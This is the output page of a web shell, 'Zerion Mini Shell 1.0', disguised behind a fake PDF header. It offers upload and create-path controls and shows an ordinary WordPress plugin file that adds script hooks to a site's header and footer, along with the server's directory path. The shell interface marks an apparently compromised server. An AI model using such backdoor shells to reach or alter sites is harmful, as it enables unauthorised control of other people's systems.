%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/laviva/wp-content/plugins/levelup-core/inc/
Upload File :
Create Path :
Current File : /var/www/html/shaban/laviva/wp-content/plugins/levelup-core/inc/template-hooks.php

<?php

// File Security Check
if ( ! defined( 'ABSPATH' ) ) { exit; }


if ( ! function_exists( 'levelup_setup_js_globals' ) ) {

    function levelup_setup_js_globals()
    {
        ?>
        <!--[if IE]>
        <script src="<?php echo LEVELUP_THEME_TEMPLATE_URL; ?>/assets/vendor/html5shiv.min.js"></script>
        <![endif]-->
        <?php
        /*
        <script type="text/javascript">
            if (typeof rdyGlobals != 'undefined') rdyGlobals.themePath = '<?php echo get_template_directory_uri(); ?>';
        </script>
         */
    }

}

add_action( 'wp_head', 'levelup_setup_js_globals' );


function levelup_footer_inline_script() {
    global $post, $wp_query;

    if( isset( $post ) && 'rdy_project' == get_post_type() && !is_single() ) {
        ?>
        <script>
            jQuery(document).ready(function() {
                var app = new APP.CORE.App({page: 'home'});
                app.start();
            });
        </script>
        <?php
    }
}

add_action( 'wp_footer', 'levelup_footer_inline_script' );

Zerion Mini Shell 1.0